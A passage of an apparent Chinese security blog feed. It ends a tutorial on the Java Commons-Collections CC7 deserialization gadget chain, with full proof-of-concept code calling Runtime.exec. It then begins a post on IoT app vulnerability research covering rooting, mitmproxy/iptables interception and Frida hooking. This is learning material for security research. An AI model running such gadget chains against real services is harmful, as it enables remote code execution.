e.key.equals(key)) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">java</span>.io.StreamCorruptedException();<br> }<br> }<br> Entry<K,V> e = (Entry<K,V>)tab[index];<br> tab[index] = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Entry</span><>(hash, key, value, e);<br> count++;<br> }<br>}<br></code></pre></td></tr></table></figure><p>注意到e.hash == hash的判断,因此需要对两个输入对象进行哈希碰撞,在Java中存在一个”yy”与”zZ”的哈希碰撞,于是可以顺利写出调用链,其中lazyMap0.remove(“yy”)是因为判断yy是否存在后会向lazyMap0添加一个yy的键。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">CC7</span> {<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception{<br> <span class="hljs-type">Transformer</span> <span class="hljs-variable">chainedTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ChainedTransformer</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Transformer</span>[]{});<br> Transformer[] transformers = {<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(Runtime.class),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"getMethod"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class, Class[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{Object.class, Object[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"calc"</span>})<br> };<br> HashMap<Object, Object> map = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br> HashMap<Object, Object> map0 = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br> <span class="hljs-type">Map</span> <span class="hljs-variable">lazyMap</span> <span class="hljs-operator">=</span> LazyMap.decorate(map, chainedTransformer);<br> lazyMap.put(<span class="hljs-string">"yy"</span>, <span class="hljs-number">1</span>);<br> <span class="hljs-type">Map</span> <span class="hljs-variable">lazyMap0</span> <span class="hljs-operator">=</span> LazyMap.decorate(map0, chainedTransformer);<br> lazyMap0.put(<span class="hljs-string">"zZ"</span>, <span class="hljs-number">1</span>);<br> <span class="hljs-type">Hashtable</span> <span class="hljs-variable">hashtable</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Hashtable</span>();<br> hashtable.put(lazyMap, <span class="hljs-number">1</span>);<br> hashtable.put(lazyMap0, <span class="hljs-number">2</span>);<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">iTransformersField</span> <span class="hljs-operator">=</span> chainedTransformer.getClass().getDeclaredField(<span class="hljs-string">"iTransformers"</span>);<br> iTransformersField.setAccessible(<span class="hljs-literal">true</span>);<br> iTransformersField.set(chainedTransformer, transformers);<br><br> lazyMap0.remove(<span class="hljs-string">"yy"</span>);<br> serialize(hashtable);<br> deserialize(<span class="hljs-string">"hack.bin"</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title function_">deserialize</span><span class="hljs-params">(String filename)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> <span class="hljs-type">ObjectInputStream</span> <span class="hljs-variable">ois</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectInputStream</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">FileInputStream</span>(filename));<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> ois.readObject();<br> <span class="hljs-keyword">return</span> o;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">serialize</span><span class="hljs-params">(Object o)</span> <span class="hljs-keyword">throws</span> IOException {<br> <span class="hljs-type">FileOutputStream</span> <span class="hljs-variable">fileOutputStream</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">FileOutputStream</span>(<span class="hljs-string">"hack.bin"</span>);<br> <span class="hljs-type">ObjectOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectOutputStream</span>(fileOutputStream);<br> out.writeObject(o);<br> out.close();<br> fileOutputStream.close();<br> }<br>}<br></code></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>一张图来概括</p><img src="/2024/02/23/2024CClearn/CC.png" class="">]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Java安全</tag>
<tag>反序列化</tag>
<tag>CC链</tag>
</tags>
</entry>
<entry>
<title>记一次零基础IOT设备与app交互0day漏洞挖掘学习经历</title>
<link href="/2023/12/12/2023apkreverse/"/>
<url>/2023/12/12/2023apkreverse/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h2><h3 id="apk结构"><a href="#apk结构" class="headerlink" title="apk结构"></a>apk结构</h3><p>apk是对一个安卓应用程序所需要的文件进行打包,本质上是一个被签名的压缩包。</p><p>通常情况下,apk会含有以下文件:</p><ul><li>asset文件夹:是不需编译的原始资源目录,包含各种静态的资源,如各种配置文件、JavaScript、字体文件、图片文件等。</li><li>lib文件夹:动态链接库存放的位置,通常情况下,这个文件夹内部以不同处理器版本还会划分成多个文件夹,如armeabi、armeabi-v7a、x86等,其存放的文件通常为Android Native的代码。</li><li>META-INF文件夹:用来存放签名信息,通常会有CERT.RSA、CERT.SF和MANIFEST.MF三个文件。是用来保护apk的所有权和防止apk被恶意篡改。</li><li>r文件夹/res文件夹:存放编译资源文件,与asset文件夹相似,区别是其存放的文件是编译后的。通常会包含drawable 文件夹(图片资源文件)、layout 文件夹(布局文件)和values 文件夹(值资源文件)等。r文件夹通常是res文件夹进行混淆后的结果。</li><li>AndroidManifest.xml文件:apk的整体配置文件,其中包含了一个apk的各种配置信息,包括包名、应用名、权限、安卓四大组件、版本等重要信息。</li><li>dex文件:存放字节码的文件,其反汇编后为smali语言,可转化为Java代码,通常dex文件包含一个apk的主要逻辑。</li><li>resources.arsc文件:用来存放应用程序的资源表,包含了应用程序的资源 ID 和资源类型的映射关系。</li></ul><h3 id="使用工具"><a href="#使用工具" class="headerlink" title="使用工具"></a>使用工具</h3><p>jadx/jeb:均为Android程序Java层反编译软件,相对来说jeb反编译能力相对较强,可以看到smali层的代码,而且也有一些混淆对抗的能力</p><p>frida:Android程序二进制动态插桩工具,用来动态调试Android程序</p><p>xposed:动态调试插件,相对于frida更加稳定</p><p>mitmproxy:中间人工具,用来监控并解密app端TLS流量</p><p>wireshark:对网卡进行抓包,配合mitmproxy使用可以获取tls解密后的流量信息</p><p>ida:用来反编译Android native层代码</p><p>iptables:配合mitmproxy透明模式,避免app端流量不经过代理导致tls流量无法被解密</p><p>手机:已ROOT</p><p>adb:用来连接手机的shell</p><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><h3 id="获取手机Root权限"><a href="#获取手机Root权限" class="headerlink" title="获取手机Root权限"></a>获取手机Root权限</h3><p>本次使用的手机是一台Pixel 6,首先需要在电脑上安装adb,过程省略</p><p>进入手机开发者模式,打开USB调试开关,连接电脑adb,可以使用<code>adb devices</code>查看是否连接成功,连接成功后开始解BL,输入</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">adb reboot bootloader<br></code></pre></td></tr></table></figure><p>将手机进入Bootloader界面,此时手机处于fastboot模式下,输入<code>fastboot devices</code>查看是否可以正常连接。输入</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">fastboot flashing unlock<br></code></pre></td></tr></table></figure><p>成功解锁BL。</p><blockquote><p>注:Pixel手机如果发现进入fastboot模式adb断开的情况,请检查是否是数据线的原因,可以换个数据线试试,这个坑卡了我好久-_-</p></blockquote><p>解锁BL后,一般都会向手机中安装Magisk,它是用来管理Root权限的工具。来源:<a href="https://github.com/topjohnwu/Magisk">topjohnwu/Magisk: The Magic Mask for Android (github.com)</a></p><p>下载好安装包后,可以使用adb install命令来安装Magisk,装好Magisk后,接下来进行镜像修补。</p><p>在<a href="https://developers.google.com/android/images?hl=zh-cn">Nexus 和 Pixel 设备的出厂映像 | Google Play services | Google for Developers</a>中下载手机对应的镜像文件,在手机设置 - 关于手机页面的最底端可以看到当前的版本号,在页面中找到对应的镜像下载,下载后将其中的boot.img用adb传输到手机,最后使用Magisk软件进行镜像修补,最后将修补完的镜像文件adb pull出来。</p><p>接下来进入最后的刷机步骤,使用<code>adb reboot bootloader</code>再次进入fastboot模式中,使用<code>fastboot boot img地址</code>指令将手机从修补过的img启动,重启后进入Magisk按照步骤安装好即可。</p><h3 id="mitmproxy-iptables搭建中间人代理"><a href="#mitmproxy-iptables搭建中间人代理" class="headerlink" title="mitmproxy+iptables搭建中间人代理"></a>mitmproxy+iptables搭建中间人代理</h3><p>mitmproxy是一个强大的中间人代理工具,与其他中间人代理工具相比,mitmproxy不仅可以转发http/https流量,还可以转发非http流量,如MQTT等。</p><p>在Android设备中抓取https流量,我们需要安装mitmproxy的CA证书,<a href="https://android-developers.googleblog.com/2016/07/changes-to-trusted-certificate.html">由于Android 7开始,应用会默认忽略用户级别的证书</a>,因此,我们需要将CA证书放入系统级别中。</p><p>一般情况下,将证书格式先转化为pem格式,然后通过<code>openssl x509 -subject_hash_old -in certificate.pem|head -1</code>命令读取哈希值,将pem证书名字改为刚刚提取的哈希值加.0,如<code>9a5ba575.0</code>,其中.0是为了防止证书哈希值重复,如果两个证书哈希值重复,那么后面的证书就会被重命名为.1、.2等,最后将<code>/system/etc/security/cacerts/</code>目录可写权限打开,将重命名后的证书放进去即可。</p><p>我的手机版本为Android 10以上,无法直接通过更改文件夹写入权限来导入证书(也可能是我没有搞好),我使用了Magisk的<code>Always Trust User Certificates</code>模块,直接将证书装在用户目录下,重启后即可导入到系统证书中。</p><p>装好证书后,正常情况下手机端连wifi时配置代理后应该是可以解密https流量了,但是,如果app拒绝代理或想要捕获其他tcp流量时,就需要使用mitmproxy透明模式,透明模式的启动命令为<code>mitmproxy --mode transparent --showhost</code>,开启透明模式后,工作原理如下图:</p><img src="/2023/12/12/2023apkreverse/transparent.png" class=""><p>此时,对于手机来说,mitmproxy相当于一个服务器,对于原服务器来说,mitmproxy相当于设备。</p><p>由于透明模式需要对网络层进行转发,因此还需要配置iptables,关于iptables的知识可以看这篇博客<a href="https://www.zsythink.net/archives/tag/iptables/">iptables-朱双印博客 (zsythink.net)</a>,在此贴一张iptables的原理图。</p><img src="/2023/12/12/2023apkreverse/iptables.png" class=""><p>我的iptables规则参考了fwx学长的博客<a href="https://fwx2233.github.io/2023/02/17/%E5%9F%BA%E4%BA%8Emitmproxy+iptables+SSL-pinning%E7%BB%95%E8%BF%87+wireshark%E7%9A%84%E5%AE%89%E5%8D%93APP%E6%B5%81%E9%87%8F-%E5%8C%85%E6%8B%ACHTTP-HTTPS%E5%92%8C%E9%9D%9EHTTP-%E6%8D%95%E8%8E%B7/">基于mitmproxy+iptables+SSL pinning绕过技术+wireshark的安卓APP流量(包括HTTP、HTTPS和非HTTP)捕获 | 代码鬼才的Blog (fwx2233.github.io)</a>,如下:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs sh"><span class="hljs-meta">#!/bin/bash</span><br><span class="hljs-comment"># 写监听的无线网卡的名称</span><br>WIRELESS_CARD=<span class="hljs-string">"wlxc01c30151c62"</span><br><br><span class="hljs-comment"># 开启相关的转发服务</span><br>sudo sysctl -w net.ipv4.ip_forward=1<br>sudo sysctl -w net.ipv4.conf.all.send_redirects=0<br><br><span class="hljs-comment"># 设置iptables的规则</span><br><span class="hljs-comment"># 将之前的规则清空</span><br>sudo iptables -F PREROUTING -t nat -i <span class="hljs-variable">$WIRELESS_CARD</span><br><span class="hljs-comment"># 设置端口转发(MQTT: 8883, HTTP: 80, HTTS: 443)</span><br>sudo iptables -t nat -A PREROUTING -i <span class="hljs-variable">$WIRELESS_CARD</span> -p tcp --dport 80 -j REDIRECT --to-port 8080<br>sudo iptables -t nat -A PREROUTING -i <span class="hljs-variable">$WIRELESS_CARD</span> -p tcp --dport 443 -j REDIRECT --to-port 8080<br>sudo iptables -t nat -A PREROUTING -i <span class="hljs-variable">$WIRELESS_CARD</span> -p tcp --dport 8883 -j REDIRECT --to-port 8080<br></code></pre></td></tr></table></figure><blockquote><p>最开始我一直想要拿win+mitmproxy透明模式进行抓包,想要通过netsh来代替iptables进行流量转发,然而一直没有成功,如果读者有配置成功的经历麻烦评论区分享一下</p></blockquote><p>接下来配置wireshark,通过捕获mitmproxy密钥交换过程中生成的随机数来进行TLS解密,操作方式也可以直接看官方文档<a href="https://docs.mitmproxy.org/stable/howto-wireshark-tls/">Wireshark and SSL/TLS (mitmproxy.org)</a></p><blockquote><p>如果时间过长或多次抓包导致生成的随机数文件过大,可能会导致wireshark解密失败,可以定时清空生成的随机数文件。</p></blockquote><p>至此基本环境配置完毕,给出我的最终网络拓扑图。</p><img src="/2023/12/12/2023apkreverse/diagram.png" class=""><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><h3 id="frida进行hook"><a href="#frida进行hook" class="headerlink" title="frida进行hook"></a>frida进行hook</h3><p>frida安装过程省略,网上有很多教程可以参考。</p><p>frida中有两种操作模式,分别是CLI模式和RPC模式</p><ul><li>CLI(命令行)模式:通过命令行直接将JavaScript脚本注入进程中,对进程进行操作</li><li>RPC模式:使用Python进行JavaScript脚本的注入工作,实际对进程进行操作的还是JavaScript脚本,可以通过RPC传输给Python脚本来进行复杂数据的处理</li></ul><p>frida有两种注入模式,分别是Spawn和Attach</p><ul><li>Spawn模式:将启动App的权利交由Frida来控制,即使目标App已经启动,在使用Frida注入程序时还是会重新启动App。在命令行模式中需要加入参数<code>-f</code>,可以对从启动就开始对App进行监控。</li><li>Attach模式:在目标App已经启动的情况下,Frida通过ptrace注入程序从而执行Hook的操作。如果只关心一个功能时通常会用这种模式。</li></ul><p>相关的api可以在官网上查看官方文档<a href="https://frida.re/docs/home/">Welcome | Frida • A world-class dynamic instrumentation toolkit</a></p><p>给出一个python的框架代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> sys,frida<br><br>jscode = <span class="hljs-string">"""</span><br><span class="hljs-string">这里输入你的js代码</span><br><span class="hljs-string">"""</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">on_message</span>(<span class="hljs-params">message,data</span>):<br> <span class="hljs-keyword">if</span> message[<span class="hljs-string">"type"</span>] == <span class="hljs-string">"send"</span>:<br> <span class="hljs-built_in">print</span>(message[<span class="hljs-string">"payload"</span>])<br> <span class="hljs-keyword">else</span>:<br> <span class="hljs-built_in">print</span>(message)<br><br><span class="hljs-comment"># process = frida.get_usb_device().spawn("app"))</span><br>process = frida.get_usb_device().attach(<span class="hljs-string">"app"</span>)<br>script = process.create_script(jscode)<br>script.on(<span class="hljs-string">"message"</span>,on_message)<br>script.load()<br>sys.stdin.read()<br></code></pre></td></tr></table></figure><h4 id="Java层hook"><a href="#Java层hook" class="headerlink" title="Java层hook"></a>Java层hook</h4><p>Java层hook示例代码:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-title function_">setImmediate</span>(<br> <span class="hljs-title class_">Java</span>.<span class="hljs-title function_">perform</span>(<span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">var</span> targetClass = <span class="hljs-title class_">Java</span>.<span class="hljs-title function_">use</span>(className); <span class="hljs-comment">// 替换为您的类名</span><br> targetClass.<span class="hljs-property">examplefunction</span>.<span class="hljs-property">implementation</span> = <span class="hljs-keyword">function</span>(<span class="hljs-params">a,b,c...</span>){<span class="hljs-comment">//替换为参数</span><br> <span class="hljs-comment">//调用原始方法</span><br> <span class="hljs-keyword">var</span> result = <span class="hljs-variable language_">this</span>.<span class="hljs-title function_">examplefunction</span>(a, b, c...);<br> <span class="hljs-comment">//可以在这里进行各种操作</span><br> <span class="hljs-keyword">return</span> result;<br> }<br>});<br>);<br></code></pre></td></tr></table></figure><p>hook重载参数:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">hook</span>(<span class="hljs-params"></span>){<br> <span class="hljs-keyword">var</span> utils = <span class="hljs-title class_">Java</span>.<span class="hljs-title function_">use</span>(className);<br> <span class="hljs-comment">//overload定义重载函数,根据函数的参数类型填</span><br> utils.<span class="hljs-property">expfunc</span>.<span class="hljs-title function_">overload</span>(<span class="hljs-string">'com.example.Demo$Class'</span>,<span class="hljs-string">'java.lang.String'</span>).<span class="hljs-property">implementation</span> = <span class="hljs-keyword">function</span>(<span class="hljs-params">a,b</span>){<br> b = <span class="hljs-string">"aaaaaaaaaa"</span>;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-title function_">expfunc</span>(a,b);<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(b);<br> }<br>}<br></code></pre></td></tr></table></figure><p>hook字段修改:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">hook</span>(<span class="hljs-params"></span>){<br> <span class="hljs-comment">//静态字段修改</span><br> <span class="hljs-keyword">var</span> utils = <span class="hljs-title class_">Java</span>.<span class="hljs-title function_">use</span>(className);<br> <span class="hljs-comment">//修改类的静态字段"flag"的值</span><br> utils.<span class="hljs-property">staticField</span>.<span class="hljs-property">value</span> = <span class="hljs-string">"我是被修改的静态变量"</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(utils.<span class="hljs-property">staticField</span>.<span class="hljs-property">value</span>);<br> <span class="hljs-comment">//非静态字段的修改</span><br> <span class="hljs-comment">//使用`Java.choose()`枚举类的所有实例</span><br> <span class="hljs-title class_">Java</span>.<span class="hljs-title function_">choose</span>(<span class="hljs-string">"com.example.Demo"</span>, {<br> <span class="hljs-attr">onMatch</span>: <span class="hljs-keyword">function</span>(<span class="hljs-params">obj</span>){<br> <span class="hljs-comment">//修改实例的非静态字段"_privateInt"的值为"123456",并修改非静态字段"privateInt"的值为9999。</span><br> obj.<span class="hljs-property">_privateInt</span>.<span class="hljs-property">value</span> = <span class="hljs-string">"123456"</span>; <span class="hljs-comment">//字段名与函数名相同 前面加个下划线</span><br> obj.<span class="hljs-property">privateInt</span>.<span class="hljs-property">value</span> = <span class="hljs-number">9999</span>;<br> },<br> <span class="hljs-attr">onComplete</span>: <span class="hljs-keyword">function</span>(<span class="hljs-params"></span>){<br> }<br> });<br>}<br></code></pre></td></tr></table></figure><p>对内部类进行hook</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">hook</span>(<span class="hljs-params"></span>){<br> <span class="hljs-comment">//内部类</span><br> <span class="hljs-keyword">var</span> innerClass = <span class="hljs-title class_">Java</span>.<span class="hljs-title function_">use</span>(<span class="hljs-string">"com.example.Demo$innerClass"</span>);<span class="hljs-comment">//如果是匿名类需要反编译查看具体标号</span><br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(innerClass);<br> innerClass.<span class="hljs-property">$init</span>.<span class="hljs-property">implementation</span> = <span class="hljs-keyword">function</span>(<span class="hljs-params"></span>){<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"hook"</span>);<br> }<br>}<br></code></pre></td></tr></table></figure><p>静态方法主动调用</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">hook</span>(<span class="hljs-params"></span>){<br> <span class="hljs-keyword">var</span> <span class="hljs-title class_">ClassName</span>=<span class="hljs-title class_">Java</span>.<span class="hljs-title function_">use</span>(<span class="hljs-string">"com.example.Demo"</span>); <br><span class="hljs-title class_">ClassName</span>.<span class="hljs-title function_">privateFunc</span>(<span class="hljs-string">"传参"</span>);<br>}<br></code></pre></td></tr></table></figure><p>非静态方法主动调用</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">var</span> ret;<br><span class="hljs-keyword">function</span> <span class="hljs-title function_">hook</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-title class_">Java</span>.<span class="hljs-title function_">choose</span>(<span class="hljs-string">"com.example.Demo"</span>,{ <span class="hljs-comment">//要hook的类</span><br> <span class="hljs-attr">onMatch</span>:<span class="hljs-keyword">function</span>(<span class="hljs-params">instance</span>){<br> ret=instance.<span class="hljs-title function_">privateFunc</span>(<span class="hljs-string">"aaaaaaa"</span>); <span class="hljs-comment">//要hook的方法</span><br> },<br> <span class="hljs-attr">onComplete</span>:<span class="hljs-keyword">function</span>(<span class="hljs-params"></span>){<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"result: "</span> + ret);<br> }<br> });<br>}<br></code></pre></td></tr></table></figure><h4 id="Native层hook"><a href="#Native层hook" class="headerlink" title="Native层hook"></a>Native层hook</h4><p>枚举so库</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">hook</span>(<span class="hljs-params"></span>){<br> <span class="hljs-title class_">Process</span>.<span class="hljs-title function_">enumerateModules</span>({<br> <span class="hljs-attr">onMatch</span>: <span class="hljs-keyword">function</span> (<span class="hljs-params"><span class="hljs-variable language_">module</span></span>) {<br> <span class="hljs-title function_">send</span>(<span class="hljs-variable language_">module</span>.<span class="hljs-property">name</span> + <span class="hljs-string">" : "</span> + <span class="hljs-variable language_">module</span>.<span class="hljs-property">base</span>.<span class="hljs-title function_">toString</span>());<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">module</span>.<span class="hljs-property">name</span> == <span class="hljs-string">"example.so"</span>) {<br> <span class="hljs-title function_">send</span>(<span class="hljs-string">"example.so found !"</span>);<br> <span class="hljs-title function_">send</span>(<span class="hljs-string">"hooking..."</span>);<br> <span class="hljs-title function_">send</span>(<span class="hljs-variable language_">module</span>.<span class="hljs-property">name</span> + <span class="hljs-string">" : "</span> + <span class="hljs-variable language_">module</span>.<span class="hljs-property">base</span>.<span class="hljs-title function_">toString</span>() + <span class="hljs-string">" : "</span> + <span class="hljs-variable language_">module</span>.<span class="hljs-property">size</span>.<span class="hljs-title function_">toString</span>() + <span class="hljs-string">" : "</span> + <span class="hljs-variable language_">module</span>.<span class="hljs-property">path</span>);<br> }<br> },<br> <span class="hljs-attr">onComplete</span>: <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-title function_">send</span>(<span class="hljs-string">"end"</span>);<br> }<br> });<br>}<br></code></pre></td></tr></table></figure><p>hook函数</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">hook</span>(<span class="hljs-params"></span>){<br> <span class="hljs-keyword">var</span> base_addr = <span class="hljs-title class_">Module</span>.<span class="hljs-title function_">findBaseAddress</span>(<span class="hljs-string">"example.so"</span>);<br> <span class="hljs-title class_">Interceptor</span>.<span class="hljs-title function_">attach</span>(base_addr.<span class="hljs-title function_">add</span>(<span class="hljs-number">0xabcd</span>), {<span class="hljs-comment">//偏移值</span><br> <span class="hljs-attr">onEnter</span>: <span class="hljs-keyword">function</span> (<span class="hljs-params">args</span>) {<br> <span class="hljs-comment">//args是参数数组</span><br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(args[<span class="hljs-number">0</span>]);<br> },<br> <span class="hljs-attr">onLeave</span>: <span class="hljs-keyword">function</span> (<span class="hljs-params">retval</span>) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(retval);<br> }<br> });<br>}<br></code></pre></td></tr></table></figure><p>这里有一个偏移值的计算,安卓里一般32 位的 so 中都是<code>thumb</code>指令,64 位的 so 中都是<code>arm</code>指令,通过IDA里的opcode bytes来判断,arm 指令为 4 个字节(options -> general -> Number of opcode bytes (non-graph) 输入4)</p><ul><li>thumb 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移 + 1</li><li>arm 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移</li></ul><h3 id="IDA对so库逆向"><a href="#IDA对so库逆向" class="headerlink" 